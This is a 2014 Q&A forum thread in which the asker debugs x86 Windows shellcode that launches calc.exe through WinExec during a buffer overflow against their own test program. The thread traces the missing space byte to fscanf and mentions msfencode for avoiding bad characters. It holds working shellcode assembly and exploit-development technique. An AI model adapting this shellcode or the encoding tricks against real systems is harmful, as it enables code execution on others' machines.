2

The situation: I'm currently working on shellcode (I modified the assembly code from Project Shellcode) that runs "cmd.exe /c calc.exe". The shellcode itself works fine. However, when I use the shellcode during a buffer overflow exploit, the 0x20 (space character) byte in the string gets replaced with a null byte. I'm unable to find a good explanation for why this is happening. The following is the assembly code:

;Calls calc.exe. Modified from http://projectshellcode.com/node/20 [SECTION .text]

BITS 32

global _start

_start:

jmp short GetCommand

CommandReturn: pop ebx ;ebx now points to the string xor eax,eax ;clear eax push eax ;push null onto stack push ebx ;push command string onto stack mov ebx,0x7c86114d ;place winExec address into ebx call ebx ;call WinExec({cmd},0)

xor eax,eax ;remove return value of WinExec push eax ;push null onto stack as parameter value mov ebx, 0x7c81caa2 ;place ExitProcess address into ebx
call ebx ;call ExitProcess(0)

GetCommand: call CommandReturn db 'cmd.exe /c calc',0 ;space character is replaced by null.

What I know so far:

  1. I know that I don't have a space issue, because I have placed a longer string without any spaces, and it still shows in memory.
  2. I know that the shellcode works because I've tested it by placing it directly into a buffer and calling the buffer like a function call in C.

The following is what I see in Immunity's top left window:

  1. Addresses 0012FFB3-0012FFCB is the shellcode
  2. Before that is my NOP slide.
  3. Beginning at address 0012FFD0 is supposed to be "cmd.exe /c calc.exe", but it is only "cmd.exe", I see at address 0012FFEB that there is a null instead of 0x20 there at the end.Immunity Debugger pic of stack
3
  • I'm not sure why it's being converted to a null byte. However, you can generate shellcode that doesn't use 0x20 in msfencode. It will make your shellcode longer though. Are you looking for why it's being converted or an alternative? Oct 20, 2014 at 17:24
  • I'm trying to understand why it's being converted, but I hadn't considered using msfencode (thanks for the info!).
    – Sandra E
    Oct 20, 2014 at 17:29
  • Oh my - I know why this is happening (msfencode will be useful to try out with circumventing this). It is because in my test vulnerable application, I'm using fscanf to read in the malicious input string from a file, and this space in the hex string will get cut off by fscanf (since I use it like so: fscanf(pFile,"%s", strInput);). So, the answer is to use msfencode as Paraplastic2 said. I will try using msfencode soon.
    – Sandra E
    Oct 20, 2014 at 19:29

1 Answer 1

1

Oh my - I know why this is happening: It is because in my test vulnerable application, I'm using fscanf to read in the malicious input string from a file, and this space in the hex string will get cut off by fscanf.

According to (http://www.cplusplus.com/reference/cstdio/fscanf/): "the function will read and ignore any whitespace characters encountered before the next non-whitespace character (whitespace characters include spaces, newline and tab characters -- see isspace)."

Note: I'm only reading the stream once in the vulnerable test application.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.